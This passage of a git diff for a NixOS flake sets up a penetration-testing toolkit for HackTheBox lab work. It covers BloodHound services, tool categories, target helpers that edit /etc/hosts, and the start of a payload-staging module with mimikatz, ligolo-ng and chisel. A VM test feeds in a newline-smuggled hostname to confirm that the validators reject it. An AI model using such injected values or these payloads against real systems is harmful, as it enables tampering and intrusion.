+ };
+
+ services.postgresql = {
+ enable = true;
+ ensureDatabases = [ "bloodhound" ];
+ ensureUsers = [
+ {
+ name = "bloodhound";
+ ensureDBOwnership = true;
+ }
+ ];
+ };
+
+ # neo4j is held back from boot: it is a JVM that wants about a
+ # gigabyte, and this laptop should not pay for it on every boot just
+ # because the category is installed.
+ #
+ # postgresql is NOT held back. Forcing its wantedBy empty does not
+ # keep it down — other units pull it in, as the VM test showed — and
+ # it is small enough that fighting NixOS over it buys nothing.
+ systemd.services.neo4j.wantedBy = lib.mkForce [ ];
+
+ environment.systemPackages =
+ let
+ # postgresql is usually already up; starting it again is a no-op.
+ units = "neo4j.service postgresql.service";
+ sudo = "/run/wrappers/bin/sudo";
+ in
+ [
+ (pkgs.writeShellScriptBin "bloodhound-up" ''
+ set -euo pipefail
+ echo "starting ${units} (neo4j takes ~20s to accept bolt)…"
+ ${sudo} -n systemctl start ${units}
+ for i in $(seq 1 60); do
+ if ${pkgs.curl}/bin/curl -fsS http://127.0.0.1:7474 >/dev/null 2>&1; then
+ echo "neo4j is up: http://127.0.0.1:7474"
+ echo "bloodhound-ce api: run 'bloodhound-ce' (first run prints admin creds)"
+ exit 0
+ fi
+ sleep 1
+ done
+ echo "neo4j did not answer on 7474 within 60s; journalctl -u neo4j" >&2
+ exit 1
+ '')
+ (pkgs.writeShellScriptBin "bloodhound-down" ''
+ set -euo pipefail
+ ${sudo} -n systemctl stop ${units}
+ echo "stopped ${units}"
+ '')
+ (pkgs.writeShellScriptBin "bloodhound-status" ''
+ ${pkgs.systemd}/bin/systemctl --no-pager --plain status ${units} 2>&1 | \
+ ${pkgs.gnugrep}/bin/grep -E "^(.|●)? ?(neo4j|postgresql)|Active:" || true
+ '')
+ ];
+
+ # Scoped the same way as fan-ec (modules/hosts/laptop/fan-cli.nix):
+ # fixed store scripts, one job each, wheel only, these units only.
+ security.sudo.extraRules = [
+ {
+ groups = [ "wheel" ];
+ commands = [
+ { command = "/run/current-system/sw/bin/systemctl start neo4j.service postgresql.service"; options = [ "NOPASSWD" ]; }
+ { command = "/run/current-system/sw/bin/systemctl stop neo4j.service postgresql.service"; options = [ "NOPASSWD" ]; }
+ ];
+ }
+ ];
+ };
+ })
+
+ # The deliverable here is two running databases, so the test boots a VM and
+ # checks they actually come up — a binary-resolution check cannot see that.
+ {
+ perSystem =
+ { pkgs, ... }:
+ {
+ checks.pentest-bloodhound-vm = pkgs.testers.runNixOSTest {
+ name = "pentest-bloodhound";
+
+ nodes.machine = {
+ imports = [
+ self.nixosModules.pentest-options
+ self.nixosModules.pentest-bloodhound
+ ];
+ daemon.pentest = {
+ enable = true;
+ bloodhound.enable = true;
+ };
+ virtualisation.memorySize = 3072; # neo4j is a JVM
+ _module.args.user = "daemonsec";
+ users.users.daemonsec = {
+ isNormalUser = true;
+ extraGroups = [ "wheel" ];
+ };
+ };
+
+ testScript = ''
+ machine.wait_for_unit("multi-user.target")
+
+ # neo4j must not be running at boot — that is the point of
+ # holding its wantedBy empty. postgresql is allowed to be up.
+ machine.fail("systemctl is-active neo4j.service")
+
+ # ...and they start on demand, without a password, as the user.
+ machine.succeed("su -l daemonsec -c bloodhound-up")
+ machine.wait_for_unit("neo4j.service")
+ machine.wait_for_unit("postgresql.service")
+ machine.wait_for_open_port(7474)
+ machine.succeed("curl -fsS http://127.0.0.1:7474 >/dev/null")
+
+ # The database bloodhound-ce expects exists and is owned by it.
+ machine.succeed(
+ "sudo -u postgres psql -tAc \"select 1 from pg_database where datname='bloodhound'\" | grep -q 1"
+ )
+
+ machine.succeed("su -l daemonsec -c bloodhound-down")
+ machine.fail("systemctl is-active neo4j.service")
+ # And the passwordless rule really is scoped to these units.
+ machine.fail("su -l daemonsec -c 'sudo -n systemctl start sshd.service'")
+ '';
+ };
+ };
+ }
+ ];
+}
diff --git a/modules/features/pentest/cloud.nix b/modules/features/pentest/cloud.nix
@@ -0,0 +1,20 @@
+# modules/features/pentest/cloud.nix — cloud and container assessment.
+# Off by default. `daemon.pentest.cloud.enable = true;`
+{ lib, ... }:
+(import ./_sets.nix { inherit lib; }) {
+ name = "cloud";
+ description = "AWS, Azure, GCP and Kubernetes assessment";
+ default = false;
+
+ packages = pkgs: with pkgs; [
+ awscli2 # `aws`
+ azure-cli # `az`
+ google-cloud-sdk # `gcloud`
+ kubectl
+ trivy
+ kube-hunter
+ pacu
+ ];
+
+ expectedBins = [ "aws" "az" "gcloud" "kubectl" "trivy" "kube-hunter" "pacu" ];
+}
diff --git a/modules/features/pentest/crack.nix b/modules/features/pentest/crack.nix
@@ -0,0 +1,30 @@
+# modules/features/pentest/crack.nix — offline cracking and guessing.
+#
+# `hashcat -I` needs an OpenCL runtime to use the GPU; on this machine that
+# comes from the NVIDIA driver already configured in
+# modules/hosts/laptop/nvidia.nix, so no extra wiring here.
+{ lib, ... }:
+(import ./_sets.nix { inherit lib; }) {
+ name = "crack";
+ description = "hash cracking, password spraying and wordlist generation";
+
+ packages = pkgs: with pkgs; [
+ hashcat
+ hashcat-utils
+ john # also `zip2john`, `ssh2john`, …
+ # thc-hydra, NOT `hydra`: pkgs.hydra is Nix's own continuous build system.
+ # The category check caught this — it would have installed a CI server.
+ thc-hydra # `hydra`
+ medusa
+ crowbar
+ crunch
+ cewl
+ hashid
+ python3Packages.name-that-hash # `nth`
+ ];
+
+ expectedBins = [
+ "hashcat" "john" "hydra" "medusa" "crowbar"
+ "crunch" "cewl" "hashid" "nth"
+ ];
+}
diff --git a/modules/features/pentest/default.nix b/modules/features/pentest/default.nix
@@ -16,11 +16,32 @@
{ ... }:
{
imports = with self.nixosModules; [
+ pentest-nixpkgs # the overlay the toolkit needs (see _overlay.nix)
pentest-options # the master switch and the options no category owns
pentest-core # ncat, socat, smbclient, kerberos, ldap; $PAYLOADS/$WORDLISTS
pentest-wordlists # seclists, rockyou, searchsploit → $WORDLISTS
pentest-python # one offensive python env; impacket by name
pentest-recon # port, service, host and DNS enumeration
+ pentest-ad # kerberos, LDAP, SMB, ADCS, relaying
+ pentest-web # fuzzing, injection, scanners, proxies
+ pentest-pivot # tunnelling and port forwarding; proxychains config
+ pentest-crack # hashcat, john, hydra and friends
+ pentest-shells # payloads, listeners, RDP, file transfer
+ pentest-bloodhound # BloodHound CE + neo4j + postgresql (manual start)
+ pentest-vpn # htbvpn: the HTB tunnel as a systemd template unit
+ pentest-time # htb-time: conflict-aware clock skew for Kerberos
+ pentest-htb # htbtarget/htbtime/htb: the box you are on
+ pentest-payloads # $PAYLOADS and payload-serve (multi-arch, cross-built)
+ pentest-update # pentest-update: move the _pkgs pins forward
+ pentest-gui # burp, zap, ghidra, wireshark (desktop entries)
+
+ # Off by default; one line each in configuration.nix to enable.
+ pentest-dfir # memory, disk, log and artefact forensics
+ pentest-reversing # disassembly, decompilation, exploit dev
+ pentest-wireless # wifi attacks and packet capture
+ pentest-cloud # AWS, Azure, GCP, Kubernetes
+ pentest-osint # public-source collection
+ pentest-mobile # Android application testing
];
};
}
diff --git a/modules/features/pentest/devshells.nix b/modules/features/pentest/devshells.nix
@@ -0,0 +1,46 @@
+# modules/features/pentest/devshells.nix — the toolkit without installing it,
+# and one check that the whole thing can coexist in a single profile.
+#
+# nix develop ~/NixDaemon#pentest every category, on PATH, temporarily
+# nix develop ~/NixDaemon#pentest-ad one category (mkCategory makes these)
+# nix develop github:…/NixDaemon#pentest the same kit on any machine with Nix
+#
+# The per-category shells come from _sets.nix. This file adds the union, and
+# `checks.pentest-collisions`.
+#
+# Why that check exists: environment.systemPackages merges everything into ONE
+# profile with buildEnv, so two packages owning the same bin/ name is a hard
+# failure that stops the system building. The toplevel build catches it only
+# for the categories that are ENABLED — dfir, reversing, wireless, cloud,
+# osint and mobile ship off, so a collision in one of them would lie dormant
+# until the day you enabled it mid-engagement. This merges all of them,
+# enabled or not. It is how `pwntools` shipping bin/checksec alongside the
+# standalone `checksec` package was caught.
+{ self, ... }:
+{
+ perSystem =
+ { pkgs, lib, ... }:
+ let
+ sets = self.pentestPackages or { };
+ allPackages = lib.concatMap (f: f pkgs) (lib.attrValues sets);
+ names = lib.attrNames sets;
+ in
+ {
+ devShells.pentest = pkgs.mkShell {
+ name = "pentest";
+ packages = allPackages;
+ shellHook = ''
+ echo "pentest: ${toString (lib.length names)} categories — ${lib.concatStringsSep " " names}"
+ echo " \$WORDLISTS and \$PAYLOADS are only set on the installed system,"
+ echo " not in this shell; use \$(nix build ..#checks..) paths if you need them."
+ '';
+ };
+
+ checks.pentest-collisions = pkgs.buildEnv {
+ name = "pentest-collisions-check";
+ paths = allPackages;
+ # The default (false) is the point: a clash fails this derivation.
+ ignoreCollisions = false;
+ };
+ };
+}
diff --git a/modules/features/pentest/dfir.nix b/modules/features/pentest/dfir.nix
@@ -0,0 +1,28 @@
+# modules/features/pentest/dfir.nix — forensics and incident response.
+# Off by default: not CPTS material. `daemon.pentest.dfir.enable = true;`
+{ lib, ... }:
+(import ./_sets.nix { inherit lib; }) {
+ name = "dfir";
+ description = "memory, disk, log and artefact forensics";
+ default = false;
+
+ packages = pkgs: with pkgs; [
+ volatility3 # `vol`, `volshell`
+ sleuthkit # fls, icat, blkls, fsstat, …
+ yara
+ capa
+ chainsaw # Windows event log hunting
+ hayabusa # Sigma over EVTX
+ exiftool
+ foremost
+ testdisk # testdisk, photorec
+ chntpw # offline SAM / registry editing
+ binwalk
+ ];
+
+ expectedBins = [
+ "vol" "volshell" "fls" "icat" "fsstat" "yara" "capa"
+ "chainsaw" "hayabusa" "exiftool" "foremost" "testdisk" "photorec"
+ "chntpw" "binwalk"
+ ];
+}
diff --git a/modules/features/pentest/gui.nix b/modules/features/pentest/gui.nix
@@ -0,0 +1,48 @@
+# modules/features/pentest/gui.nix — the windowed tools, with desktop entries
+# so they appear in the launcher the way Kali's menu does.
+#
+# Kept separate from the headless categories: enabling `web` should not drag in
+# a JDK, and a remote session should be able to skip this entirely.
+#
+# programs.wireshark is set here with lib.mkDefault so gui and wireless can
+# both be on without conflicting — wireless.nix sets the same option the same
+# way, and either alone is enough to get the dumpcap capability wrapper.
+{ lib, ... }:
+(import ./_sets.nix { inherit lib; }) {
+ name = "gui";
+ description = "burp, zap, ghidra, wireshark, autopsy and other windowed tools";
+
+ packages = pkgs: with pkgs; [
+ burpsuite # unfree; allowed by nixpkgs.nix and by the host
+ zap
+ ghidra
+ cutter
+ autopsy
+ sqlitebrowser
+ wireshark
+ ];
+
+ expectedBins = [
+ "burpsuite" "zap" "ghidra" "cutter" "autopsy" "sqlitebrowser" "wireshark"
+ ];
+
+ # Every tool above must actually ship a .desktop file, or it will not appear
+ # in the launcher and the point of this category is lost.
+ checkScript = { pkgs, lib }: ''
+ for p in ${pkgs.burpsuite} ${pkgs.zap} ${pkgs.ghidra} ${pkgs.cutter} ${pkgs.wireshark} ${pkgs.sqlitebrowser}; do
+ if ! ls "$p"/share/applications/*.desktop >/dev/null 2>&1; then
+ echo "pentest-gui: $p ships no share/applications/*.desktop entry" >&2
+ exit 1
+ fi
+ done
+ '';
+
+ extraConfig = { pkgs, lib, ... }: {
+ # The package alone cannot capture: this creates the `wireshark` group and
+ # the setcap dumpcap wrapper. Without it you need full root to sniff.
+ programs.wireshark = {
+ enable = lib.mkDefault true;
+ package = lib.mkDefault pkgs.wireshark;
+ };
+ };
+}
diff --git a/modules/features/pentest/htb.nix b/modules/features/pentest/htb.nix
@@ -0,0 +1,332 @@
+# modules/features/pentest/htb.nix — the box you are currently on, shared by
+# every terminal.
+#
+# htbtarget 10.10.11.5 dc01.vintage.htb set the target (+ optional name)
+# htbtarget print it
+# htbtarget clear forget it, and clear /etc/hosts
+# htbtime [host] clock-skew helper (defaults to $TARGET)
+# htb new <box> [ip] scaffold ~/htb/<box> and set the target
+# htb ls boxes worked, newest first
+#
+# Why a file and a shell hook rather than an exported variable: a variable set
+# in one terminal cannot reach a shell that is already running. The target
+# lives in $XDG_STATE_HOME/htb/, and modules/home/htb-shell.nix re-reads it in
+# zsh's precmd, so every terminal picks up a change at its next prompt. A shell
+# sitting mid-command keeps the old value until it returns — that is inherent,
+# and the cheat card says so.
+#
+# /etc/hosts needs care on NixOS: it is normally a symlink into the store, so
+# it cannot be edited at all. environment.etc.hosts.mode below makes NixOS copy
+# it instead, which is what makes `htbtarget <ip> <fqdn>` possible. A rebuild
+# regenerates the file and drops the block, which is fine: it is as ephemeral
+# as the target itself. Kerberos needs the name to resolve, so this matters on
+# every AD box.
+{ lib, self, ... }:
+{
+ flake.nixosModules.pentest-htb =
+ { config, pkgs, lib, user, ... }:
+ let
+ on = config.daemon.pentest.enable;
+ sudo = "/run/wrappers/bin/sudo";
+ beginMark = "# BEGIN htb (managed by htbtarget — edits here are overwritten)";
+ endMark = "# END htb";
+
+ # Root half: rewrites only the marked region of /etc/hosts. Validates its
+ # own arguments rather than trusting the caller, because it runs as root.
+ htb-hosts = pkgs.writeShellScriptBin "htb-hosts" ''
+ set -uo pipefail
+ [ "$(id -u)" = 0 ] || { echo "htb-hosts: run as root (htbtarget does that)" >&2; exit 1; }
+ PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.gnused pkgs.gnugrep ]}:$PATH
+
+ F=/etc/hosts
+ BEGIN=${lib.escapeShellArg beginMark}
+ END=${lib.escapeShellArg endMark}
+
+ if [ -L "$F" ]; then
+ echo "htb-hosts: $F is a symlink into the Nix store and cannot be edited." >&2
+ echo "htb-hosts: environment.etc.hosts.mode should have made it a real file;" >&2
+ echo "htb-hosts: rebuild the system (nh os switch) and try again." >&2
+ exit 1
+ fi
+
+ strip_block() { sed "/^$BEGIN\$/,/^$END\$/d" "$F"; }
+
+ case "''${1:-}" in
+ clear)
+ tmp=$(mktemp); strip_block > "$tmp"
+ cat "$tmp" > "$F"; rm -f "$tmp"
+ echo "htb-hosts: cleared" ;;
+ set)
+ ip="''${2:-}"; shift 2 || true
+ names="$*"
+ [ -n "$ip" ] && [ -n "$names" ] || { echo "usage: htb-hosts set <ip> <name>…" >&2; exit 2; }
+
+ # Re-validate as root. Anything but a bare address and DNS labels is
+ # refused, so nothing can smuggle extra lines into /etc/hosts.
+ case "$ip" in
+ *[!0-9a-fA-F.:]*|"") echo "htb-hosts: bad address: $ip" >&2; exit 2 ;;
+ esac
+ for n in $names; do
+ case "$n" in
+ *[!A-Za-z0-9.-]*|-*|.*|"") echo "htb-hosts: bad hostname: $n" >&2; exit 2 ;;
+ esac
+ done
+
+ tmp=$(mktemp)
+ strip_block > "$tmp"
+ printf '%s\n%s %s\n%s\n' "$BEGIN" "$ip" "$names" "$END" >> "$tmp"
+ cat "$tmp" > "$F"; rm -f "$tmp"
+ echo "htb-hosts: $ip $names" ;;
+ *) echo "usage: htb-hosts set <ip> <name>… | clear" >&2; exit 2 ;;
+ esac
+ '';
+
+ stateSh = ''
+ STATE="''${XDG_STATE_HOME:-$HOME/.local/state}/htb"
+ mkdir -p "$STATE"
+ '';
+
+ htbtarget = pkgs.writeShellScriptBin "htbtarget" ''
+ set -uo pipefail
+ PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.gnugrep ]}:$PATH
+ ${stateSh}
+
+ show() {
+ if [ -s "$STATE/target" ]; then
+ printf 'target %s' "$(cat "$STATE/target")"
+ [ -s "$STATE/host" ] && printf ' (%s)' "$(cat "$STATE/host")"
+ [ -s "$STATE/box" ] && printf ' box %s' "$(cat "$STATE/box")"
+ printf '\n'
+ echo " \$TARGET updates in other terminals at their next prompt"
+ else
+ echo "no target set — htbtarget <ip> [name]"
+ fi
+ }
+
+ # Review Focus #4: validate BEFORE anything privileged runs. The deny
+ # patterns reject embedded newlines too, so no extra /etc/hosts line can
+ # be smuggled through a hostname.
+ valid_ip() {
+ case "$1" in
+ *[!0-9a-fA-F.:]*|"") return 1 ;;
+ esac
+ # dotted quad, or something with a colon (v6)
+ case "$1" in
+ *:*) return 0 ;;
+ *.*.*.*)
+ local o IFS=.
+ for o in $1; do
+ case "$o" in ""|*[!0-9]*) return 1 ;; esac
+ [ "$o" -le 255 ] || return 1
+ done
+ return 0 ;;
+ *) return 1 ;;
+ esac
+ }
+ valid_host() {
+ case "$1" in
+ *[!A-Za-z0-9.-]*|-*|.*|*..*|"") return 1 ;;
+ esac
+ return 0
+ }
+
+ case "''${1:-}" in
+ "") show ;;
+ clear)
+ rm -f "$STATE/target" "$STATE/host" "$STATE/box"
+ ${sudo} -n ${lib.getExe htb-hosts} clear >/dev/null 2>&1 || true
+ echo "htbtarget: cleared" ;;
+ -h|--help) echo "usage: htbtarget [<ip> [hostname…]] | clear" ;;
+ *)
+ ip="$1"; shift
+ if ! valid_ip "$ip"; then
+ echo "htbtarget: not an IP address: $ip" >&2
+ exit 2
+ fi
+ for n in "$@"; do
+ if ! valid_host "$n"; then
+ echo "htbtarget: not a hostname: $n" >&2
+ exit 2
+ fi
+ done
+ printf '%s\n' "$ip" > "$STATE/target"
+ if [ "$#" -gt 0 ]; then
+ printf '%s\n' "$*" > "$STATE/host"
+ ${sudo} -n ${lib.getExe htb-hosts} set "$ip" "$@" || {
+ echo "htbtarget: target set, but /etc/hosts was not updated" >&2
+ exit 1
+ }
+ else
+ rm -f "$STATE/host"
+ fi
+ show ;;
+ esac
+ '';
+
+ htbtime = pkgs.writeShellScriptBin "htbtime" ''
+ set -uo pipefail
+ ${stateSh}
+ case "''${1:-}" in
+ off|status) exec ${sudo} -n /run/current-system/sw/bin/htb-time "$1" ;;
+ esac
+ host="''${1:-}"
+ if [ -z "$host" ]; then
+ if [ -s "$STATE/target" ]; then host=$(cat "$STATE/target"); else
+ echo "htbtime: no target set — run 'htbtarget <ip>' first, or 'htbtime <host>'" >&2
+ exit 2
+ fi
+ fi
+ exec ${sudo} -n /run/current-system/sw/bin/htb-time "$host"
+ '';
+
+ # A file rather than a heredoc inside the script: an indented heredoc
+ # terminator does not terminate (<<- strips tabs, not spaces), and
+ # writeShellScriptBin's bash -n caught exactly that.
+ notesTemplate = pkgs.writeText "htb-notes-template.md" ''
+ # @BOX@
+
+ - target: @TARGET@
+ - names:
+ - started: @DATE@
+
+ ## ports
+
+ ## foothold
+
+ ## credentials
+
+ | user | secret | where it works |
+ |------|--------|----------------|
+
+ ## escalation
+
+ ## loot
+ '';
+
+ htb = pkgs.writeShellScriptBin "htb" ''
+ set -uo pipefail
+ PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.gnused ]}:$PATH
+ ${stateSh}
+ ROOT="$HOME/htb"
+
+ case "''${1:-ls}" in
+ new)
+ box="''${2:-}"
+ [ -n "$box" ] || { echo "usage: htb new <box> [ip]" >&2; exit 2; }
+ case "$box" in *[!A-Za-z0-9_.-]*|.*|"") echo "htb: bad box name: $box" >&2; exit 2 ;; esac
+ d="$ROOT/$box"
+ mkdir -p "$d"/{nmap,loot,creds,www,exploit}
+ if [ ! -e "$d/notes.md" ]; then
+ ${pkgs.gnused}/bin/sed \
+ -e "s|@BOX@|$box|" \
+ -e "s|@TARGET@|''${3:-}|" \
+ -e "s|@DATE@|$(date -I)|" \
+ ${notesTemplate} > "$d/notes.md"
+ fi
+ printf '%s\n' "$box" > "$STATE/box"
+ [ -n "''${3:-}" ] && ${lib.getExe htbtarget} "$3" >/dev/null
+ echo "$d" ;;
+ ls)
+ [ -d "$ROOT" ] || { echo "no boxes yet — htb new <box>"; exit 0; }
+ ls -1dt "$ROOT"/*/ 2>/dev/null | ${pkgs.gnused}/bin/sed "s|$ROOT/||;s|/$||" || echo "no boxes yet" ;;
+ -h|--help) echo "usage: htb new <box> [ip] | ls" ;;
+ *) echo "usage: htb new <box> [ip] | ls" >&2; exit 2 ;;
+ esac
+ '';
+ in
+ {
+ config = lib.mkIf on {
+ environment.systemPackages = [ htbtarget htbtime htb htb-hosts ];
+
+ # Makes /etc/hosts a real, writable file instead of a store symlink.
+ # Without this htb-hosts cannot work at all (and says so).
+ environment.etc.hosts.mode = "0644";
+
+ security.sudo.extraRules = [
+ {
+ groups = [ "wheel" ];
+ commands = [
+ { command = "${lib.getExe htb-hosts}"; options = [ "NOPASSWD" ]; }
+ { command = "/run/current-system/sw/bin/htb-hosts"; options = [ "NOPASSWD" ]; }
+ ];
+ }
+ ];
+ };
+ };
+
+ perSystem =
+ { pkgs, ... }:
+ {
+ checks.pentest-htb-vm = pkgs.testers.runNixOSTest {
+ name = "pentest-htb";
+
+ nodes.machine = {
+ imports = [
+ self.nixosModules.pentest-options
+ self.nixosModules.pentest-htb
+ ];
+ daemon.pentest.enable = true;
+ _module.args.user = "daemonsec";
+ users.users.daemonsec = {
+ isNormalUser = true;
+ extraGroups = [ "wheel" ];
+ };
+ };
+
+ testScript = ''
+ machine.wait_for_unit("multi-user.target")
+
+ def as_user(cmd):
+ return f"su -l daemonsec -c {cmd!r}"
+
+ # The NixOS-specific precondition: /etc/hosts must be a real file.
+ machine.succeed("test -f /etc/hosts && test ! -L /etc/hosts")
+
+ machine.succeed(as_user("htbtarget") + " | grep -q 'no target set'")
+
+ # A plain address is accepted and persisted.
+ machine.succeed(as_user("htbtarget 10.10.11.5"))
+ machine.succeed(as_user("htbtarget") + " | grep -q 10.10.11.5")
+
+ # Review Focus #4: malformed input is refused BEFORE /etc/hosts is touched.
+ hosts_before = machine.succeed("cat /etc/hosts")
+ machine.fail(as_user("htbtarget 'not an ip'"))
+ machine.fail(as_user("htbtarget 10.10.11.999"))
+ machine.fail(as_user("htbtarget 10.10.11.5 'bad name'"))
+ # An embedded newline must not smuggle a second /etc/hosts entry.
+ machine.fail(as_user("htbtarget 10.10.11.5 $'x\\n1.2.3.4 evil'"))
+ assert machine.succeed("cat /etc/hosts") == hosts_before, "/etc/hosts changed on a rejected input"
+ machine.fail("grep -q evil /etc/hosts")
+
+ # A hostname writes exactly one marked block, and is idempotent.
+ machine.succeed(as_user("htbtarget 10.10.11.5 dc01.vintage.htb vintage.htb"))
+ machine.succeed("grep -q '10.10.11.5 dc01.vintage.htb vintage.htb' /etc/hosts")
+ assert machine.succeed("grep -c 'BEGIN htb' /etc/hosts").strip() == "1"
+ machine.succeed(as_user("htbtarget 10.10.11.6 dc01.vintage.htb"))
+ assert machine.succeed("grep -c 'BEGIN htb' /etc/hosts").strip() == "1", "block duplicated"
+ machine.succeed("grep -q '10.10.11.6 dc01.vintage.htb' /etc/hosts")
+ machine.fail("grep -q 10.10.11.5 /etc/hosts")
+
+ # localhost must survive all of this.
+ machine.succeed("grep -q '127.0.0.1 localhost' /etc/hosts")
+
+ # clear removes both the state and the block.
+ machine.succeed(as_user("htbtarget clear"))
+ machine.fail("grep -q 'BEGIN htb' /etc/hosts")
+ machine.succeed(as_user("htbtarget") + " | grep -q 'no target set'")
+
+ # htbtime with no target must name the command that sets one.
+ machine.fail(as_user("htbtime") + " 2>&1 | grep -q htbtarget")
+
+ # Engagement scaffolding.
+ out = machine.succeed(as_user("htb new escape 10.10.11.202")).strip()
+ assert out.endswith("/htb/escape"), out
+ for sub in ["nmap", "loot", "creds", "www", "exploit"]:
+ machine.succeed(f"test -d /home/daemonsec/htb/escape/{sub}")
+ machine.succeed("grep -q '^# escape' /home/daemonsec/htb/escape/notes.md")
+ machine.succeed(as_user("htbtarget") + " | grep -q 10.10.11.202")
+ machine.succeed(as_user("htb ls") + " | grep -q escape")
+ '';
+ };
+ };
+}
diff --git a/modules/features/pentest/mobile.nix b/modules/features/pentest/mobile.nix
@@ -0,0 +1,31 @@
+# modules/features/pentest/mobile.nix — Android application testing.
+# Off by default. `daemon.pentest.mobile.enable = true;`
+#
+# `objection` is deliberately absent: it pulls the Android SDK, which is behind
+# Google's android-sdk-license. Accepting a licence is the operator's call, not
+# this module's, so if you want objection add BOTH of these yourself:
+#
+# nixpkgs.config.android_sdk.accept_license = true;
+# daemon.pentest.mobile.enable = true; # and add objection here
+#
+# Everything else here (frida, apktool, jadx, dex2jar, scrcpy, adb) is free.
+{ lib, ... }:
+(import ./_sets.nix { inherit lib; }) {
+ name = "mobile";
+ description = "APK unpacking, decompilation and runtime instrumentation";
+ default = false;
+
+ packages = pkgs: with pkgs; [
+ apktool
+ jadx # jadx, jadx-gui
+ dex2jar # d2j-dex2jar and friends
+ frida-tools # frida, frida-ps, …
+ scrcpy
+ android-tools # adb
+ ];
+
+ expectedBins = [
+ "apktool" "jadx" "d2j-dex2jar" "frida" "frida-ps"
+ "scrcpy" "adb"
+ ];
+}
diff --git a/modules/features/pentest/nixpkgs.nix b/modules/features/pentest/nixpkgs.nix
@@ -0,0 +1,31 @@
+# modules/features/pentest/nixpkgs.nix — one package set for the system and for
+# the flake's own outputs.
+#
+# The checks in _sets.nix run against perSystem's `pkgs`, which by default is
+# plain nixpkgs: no overlays, no allowUnfree. The system, meanwhile, has both.
+# A check that passes against a different package set from the one the system
+# builds is not a check, so this module points them at the same thing:
+#
+# _overlay.nix the fixes (see that file for why each exists)
+# allowUnfree burpsuite, and the host already allows it
+{ inputs, ... }:
+let
+ overlay = import ./_overlay.nix;
+in
+{
+ perSystem =
+ { system, ... }:
+ {
+ _module.args.pkgs = import inputs.nixpkgs {
+ inherit system;
+ overlays = [ overlay ];
+ config.allowUnfree = true;
+ };
+ };
+
+ flake.nixosModules.pentest-nixpkgs =
+ { ... }:
+ {
+ nixpkgs.overlays = [ overlay ];
+ };
+}
diff --git a/modules/features/pentest/options.nix b/modules/features/pentest/options.nix
@@ -11,9 +11,23 @@
#
# Scope: authorised lab use (HackTheBox CPTS prep). Nothing here points at any
# host; the operator supplies targets at runtime.
-{ ... }:
+{ inputs, lib, ... }:
{
- flake.nixosModules.pentest-options =
+ # Each category file sets `flake.pentestPackages.<name>` (_sets.nix). That has
+ # to be DECLARED as an attribute set, or flake-parts treats the whole
+ # `flake.pentestPackages` as one freeform value and the second category to
+ # define it fails with "defined multiple times". devshells.nix reads the
+ # merged result to build the union shell and the collision check.
+ options.flake = inputs.flake-parts.lib.mkSubmoduleOptions {
+ pentestPackages = lib.mkOption {
+ type = lib.types.lazyAttrsOf lib.types.raw;
+ default = { };
+ description = "Per-category `pkgs -> [package]` functions, by category name.";
+ };
+ };
+
+ # Under `config` because this module also declares `options` above.
+ config.flake.nixosModules.pentest-options =
{ lib, config, user, ... }:
let
cfg = config.daemon.pentest;
diff --git a/modules/features/pentest/osint.nix b/modules/features/pentest/osint.nix
@@ -0,0 +1,18 @@
+# modules/features/pentest/osint.nix — open-source collection.
+# Off by default. `daemon.pentest.osint.enable = true;`
+{ lib, ... }:
+(import ./_sets.nix { inherit lib; }) {
+ name = "osint";
+ description = "people, domain and account enumeration from public sources";
+ default = false;
+
+ packages = pkgs: with pkgs; [
+ theharvester # `theHarvester`
+ recon-ng # recon-ng, recon-cli
+ sherlock
+ maigret
+ holehe
+ ];
+
+ expectedBins = [ "theHarvester" "recon-ng" "recon-cli" "sherlock" "maigret" "holehe" ];
+}
diff --git a/modules/features/pentest/payloads.nix b/modules/features/pentest/payloads.nix
@@ -0,0 +1,331 @@
+# modules/features/pentest/payloads.nix — $PAYLOADS: everything you might drop
+# on a target, in one predictable tree, plus one command to serve it.
+#
+# $PAYLOADS/windows/{amd64,x86}/{creds,agents,privesc,privesc/potato,ad}
+# $PAYLOADS/linux/{amd64,arm64}/{agents,privesc}
+# $PAYLOADS/macos/arm64/agents
+# $PAYLOADS/scripts/{ad,printer,privesc}
+# $PAYLOADS/sharpcollection/ the full 102-tool set, per framework
+#
+# payload-serve [port] HTTP, bound to the VPN interface only
+# payload-serve --smb impacket smbserver, same binding
+# payload-serve --list print the tree
+#
+# Provenance, honestly: the Go tools (ligolo-ng, chisel) ARE cross-compiled
+# from source here, for windows/amd64, linux/arm64 and darwin/arm64, via a
+# GOOS/GOARCH override. mimikatz is NOT — nixpkgs' mimikatz repackages
+# gentilkiwi's official signed release zip, which already contains both Win32
+# and x64 builds, and building it from source would need MSVC. The .NET tools
+# in _pkgs/ are likewise pinned prebuilt releases. So: Go from source, the rest
+# pinned by hash.
+#
+# Versioned duplicates live here as distinct FILES rather than competing for a
+# PATH name — that is the whole reason payloads are files and not commands.
+{ lib, self, ... }:
+let
+ mkTree =
+ { pkgs, windowsArches }:
+ let
+ p = import ./_pkgs/default.nix { inherit lib pkgs; };
+
+ # Go cross-compile: nixpkgs has no mingw path for these, but Go does not
+ # need one. Output lands in bin/<goos>_<goarch>/.
+ goCross = pkg: goos: goarch: pkg.overrideAttrs (o: {
+ env = (o.env or { }) // {
+ GOOS = goos;
+ GOARCH = goarch;
+ CGO_ENABLED = "0";
+ };
+ doCheck = false;
+ doInstallCheck = false;
+ nativeInstallCheckInputs = [ ];
+ postInstall = ""; # upstream's rename loop assumes a flat bin/
+ });
+
+ # Go, cross-compiled from source. pkgsCross.mingwW64 is deliberately NOT
+ # used for these: it fails for ligolo-ng (its install check tries to run
+ # the Windows binary on the builder), while a plain GOOS/GOARCH override
+ # works for every target. One mechanism for all of them.
+ winLigolo = goCross pkgs.ligolo-ng "windows" "amd64";
+ winChisel = goCross pkgs.chisel "windows" "amd64";
+ armLigolo = goCross pkgs.ligolo-ng "linux" "arm64";
+ armChisel = goCross pkgs.chisel "linux" "arm64";
+ macLigolo = goCross pkgs.ligolo-ng "darwin" "arm64";
+ macChisel = goCross pkgs.chisel "darwin" "arm64";
+
+ # mimikatz: already both architectures inside the official release that
+ # nixpkgs repackages, at share/windows/mimikatz/{x64,Win32}/.
+ mimikatzNew = pkgs.mimikatz;
+ mimikatzNewVer = lib.removePrefix "mimikatz-" pkgs.mimikatz.name;
+
+ wantX86 = lib.elem "x86" windowsArches;
+ in
+ pkgs.runCommand "pentest-payloads"
+ {
+ meta.description = "Staged offensive payloads for authorised lab use";
+ }
+ ''
+ set -euo pipefail
+
+ # pick <dest-file> <search-root> <glob>...
